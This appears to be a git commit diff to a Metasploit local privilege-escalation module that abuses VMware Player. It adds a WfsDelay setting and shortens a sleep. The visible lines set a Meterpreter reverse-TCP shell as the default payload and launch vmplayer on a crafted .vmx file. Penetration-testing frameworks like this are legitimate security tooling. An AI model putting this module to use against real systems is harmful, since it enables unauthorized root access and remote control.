Use WfsDelay
parent
4f6eab102f
commit
668aa4edaf
|
@ -46,6 +46,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'Payload' => 'linux/x64/meterpreter_reverse_tcp',
|
'Payload' => 'linux/x64/meterpreter_reverse_tcp',
|
||||||
|
'WfsDelay' => 15,
|
||||||
'PrependFork' => true
|
'PrependFork' => true
|
||||||
},
|
},
|
||||||
'DefaultTarget' => 1,
|
'DefaultTarget' => 1,
|
||||||
|
@ -212,7 +213,7 @@ hook_func.pulse_load_if_running {
|
||||||
|
|
||||||
print_status "Launching VMware Player..."
|
print_status "Launching VMware Player..."
|
||||||
cmd_exec "vmplayer #{@base_dir}/#{fname}.vmx"
|
cmd_exec "vmplayer #{@base_dir}/#{fname}.vmx"
|
||||||
Rex.sleep 5 # give vmplayer some time to launch
|
Rex.sleep 0.5
|
||||||
end
|
end
|
||||||
|
|
||||||
def cleanup
|
def cleanup
|
||||||
|
|
Loading…
Reference in New Issue